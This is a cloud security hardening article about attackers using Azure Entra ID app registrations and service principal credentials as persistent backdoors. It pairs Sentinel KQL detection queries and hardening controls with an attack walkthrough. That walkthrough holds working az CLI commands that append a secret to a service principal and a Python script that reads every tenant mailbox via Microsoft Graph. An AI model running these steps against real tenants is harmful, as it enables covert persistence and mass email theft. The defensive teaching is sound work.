Cloud Security Wire
AWS Azure GCP RSS
Hardening Guide high

Azure Entra ID App Registrations as Attacker Backdoors: Attack Paths and Hardening

Threat actors who compromise Azure tenants routinely add credentials to existing service principals or create malicious app registrations with broad API permissions to maintain persistent, stealthy access. This guide covers the attack path, Microsoft Graph API abuse patterns, and the controls that detect and prevent app-based persistence.

By Cloud Security Wire · ·
#Azure#Entra ID#Azure AD#app-registration#service-principal#persistence#OAuth#Microsoft Graph#APT#Midnight Blizzard#Scattered Spider#2026
High Severity

This issue has been assessed as high severity. Review affected configurations immediately.

When threat actors obtain admin-level access to an Azure tenant, they don’t only focus on the immediate objective. They establish persistence mechanisms that survive password resets, conditional access policy changes, and even account deletion. App registrations and service principal credential injection are the preferred technique for this in Microsoft environments — observed in Midnight Blizzard’s post-SolarWinds persistence, Scattered Spider’s SaaS compromise campaigns, and multiple M-Trends 2026 documented intrusions.

The attack is quiet, durable, and frequently missed by security teams who monitor user accounts but don’t have equivalent visibility into non-human identities.

How App Registration Persistence Works

Azure Entra ID (formerly Azure AD) service principals represent application identities — they authenticate using client secrets or certificates rather than usernames and passwords. An attacker with sufficient privileges can:

  1. Add a credential to an existing service principal that already has broad API permissions
  2. Create a new app registration and grant it Microsoft Graph API permissions (often User.ReadWrite.All, Mail.Read, Directory.ReadWrite.All)
  3. Grant admin consent to make those permissions active without user interaction

Once established, the attacker authenticates as the service principal using their added credential — an action that is not blocked by the victim’s MFA policies (service principals don’t use MFA) and survives user account credential changes.

Why Service Principals Bypass Normal Controls

Service principal authentication:

  • Does not trigger MFA requirements
  • Does not appear in “users” lists in the Entra ID admin portal by default
  • Often has owner: none or is associated with a deleted user account
  • Can be granted permissions that exceed any individual user account

An attacker with Application.ReadWrite.All or Directory.ReadWrite.All can persist indefinitely regardless of what happens to the user account they used to establish access.

Attack Path Walkthrough

Step 1: Enumerate existing service principals with broad permissions

From an authenticated context, an attacker queries Microsoft Graph to find high-value service principals:

# List service principals with Directory.ReadWrite.All permission
az ad sp list --all --query "[].{displayName:displayName, appId:appId, objectId:id}" -o table

# Enumerate app role assignments for a specific SP
az role assignment list --assignee <service-principal-object-id> --all

Legitimate service principals used for automation (backup tools, monitoring agents, CI/CD pipelines) often have broad permissions and are rarely monitored for credential additions.

Step 2: Add credentials to a target service principal

# Add a new client secret to an existing service principal
az ad sp credential reset \
  --id <service-principal-object-id> \
  --append \
  --years 2 \
  --query "{ clientId: appId, clientSecret: password, tenantId: tenant }"

The --append flag adds a credential without removing existing ones, so the legitimate system continues to function normally. The attacker now has a second set of credentials that authenticates as the same service principal.

Step 3: Authenticate and exfiltrate

import requests

# Attacker authenticates as the service principal
token_url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token"
response = requests.post(token_url, data={
    "grant_type": "client_credentials",
    "client_id": compromised_app_id,
    "client_secret": attacker_secret,
    "scope": "https://graph.microsoft.com/.default"
})
access_token = response.json()["access_token"]

# Read all users' email
headers = {"Authorization": f"Bearer {access_token}"}
users = requests.get("https://graph.microsoft.com/v1.0/users", headers=headers).json()
for user in users["value"]:
    mail = requests.get(f"https://graph.microsoft.com/v1.0/users/{user['id']}/messages", headers=headers)
    # Exfiltrate

If the compromised service principal has Mail.Read or Mail.ReadWrite, the attacker reads every mailbox in the tenant.

Detection: Hunting for Backdoor App Credentials

Azure Monitor / Sentinel KQL: New Credential Added to Service Principal

AuditLogs
| where OperationName == "Add service principal credentials"
    or OperationName == "Update application – Certificates and secrets management"
| extend
    ModifiedBy = tostring(InitiatedBy.user.userPrincipalName),
    TargetSP = tostring(TargetResources[0].displayName),
    TargetSPId = tostring(TargetResources[0].id),
    CredentialType = tostring(TargetResources[0].modifiedProperties[0].newValue)
| where ModifiedBy != "MSGraph"  // Filter Azure-internal operations
| project TimeGenerated, ModifiedBy, TargetSP, TargetSPId, CredentialType, CorrelationId
| order by TimeGenerated desc

Alert when this query returns results outside a known change management window. Service principal credential additions are rare events in well-managed tenants.

Sentinel KQL: New App Registration with High-Privilege API Permissions

AuditLogs
| where OperationName == "Add app role assignment to service principal"
| extend
    AssignedRole = tostring(TargetResources[0].modifiedProperties
        | where name == "AppRole.Value" | project newValue),
    TargetApp = tostring(TargetResources[0].displayName),
    GrantedBy = tostring(InitiatedBy.user.userPrincipalName)
| where AssignedRole has_any (
    "Directory.ReadWrite.All",
    "User.ReadWrite.All",
    "Mail.Read",
    "Mail.ReadWrite",
    "Files.ReadWrite.All",
    "Application.ReadWrite.All",
    "RoleManagement.ReadWrite.Directory"
  )
| project TimeGenerated, GrantedBy, TargetApp, AssignedRole, CorrelationId

Any of these permissions granted to a newly created app registration (check OperationName == "Add application" in the same correlation window) is high-fidelity for attacker persistence or privilege escalation.

Sentinel KQL: Service Principal Sign-In from New Location

AADServicePrincipalSignInLogs
| where ResultType == 0  // Successful
| summarize
    SignInCount = count(),
    Locations = make_set(Location),
    IPs = make_set(IPAddress)
    by ServicePrincipalName, bin(TimeGenerated, 1d)
| where array_length(IPs) > 3  // Multiple IPs in one day for a non-human identity
| order by TimeGenerated desc

Service principals in legitimate use typically authenticate from a fixed IP range (the service that uses them). Authentication from multiple IPs or unexpected geographies indicates credential compromise.

Hardening Controls

1. Restrict who can create app registrations

By default, any tenant user can create app registrations. This is almost never appropriate:

# Disable user app registration creation
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" \
  --body '{"defaultUserRolePermissions": {"allowedToCreateApps": false}}'

Restrict app registration creation to a dedicated service account or privileged admin role.

2. Require admin approval for API permissions

In Entra ID portal: Enterprise Applications → Consent and Permissions → “Require admin consent for all applications.” This prevents any app (including attacker-created ones) from receiving API permissions without explicit admin approval.

3. Implement a periodic service principal audit

# Enumerate all service principals with credentials and their last use
az ad sp list --all --query "[].{Name:displayName, AppId:appId, KeyCount:length(keyCredentials)}" -o table

# For each SP with credentials, check last sign-in
az ad sp show --id <appId> --query "signInAudience"

SPs that haven’t signed in for 90+ days with active credentials are candidates for credential removal. SPs with owners set to deleted users should be investigated immediately.

Admin consent grants are the permission step that makes a malicious app registration functional. Sentinel alert:

AuditLogs
| where OperationName == "Consent to application"
| extend
    AppName = tostring(TargetResources[0].displayName),
    ConsentedBy = tostring(InitiatedBy.user.userPrincipalName),
    ConsentType = tostring(AdditionalDetails[0].value)
| where ConsentType == "AllPrincipals"  // Tenant-wide consent
| project TimeGenerated, ConsentedBy, AppName, ConsentType

Tenant-wide consent grants should be extremely rare and should never happen without a corresponding approved change request.

5. Enable Workload Identity Federation instead of secrets

Long-lived client secrets are the attack surface. Where possible, replace client secrets with Workload Identity Federation, which allows service principals to authenticate using tokens issued by trusted OIDC providers (GitHub Actions, Azure Kubernetes Service, etc.) without any stored secret. No secret means no credential to steal or add.

← All Analysis Subscribe via RSS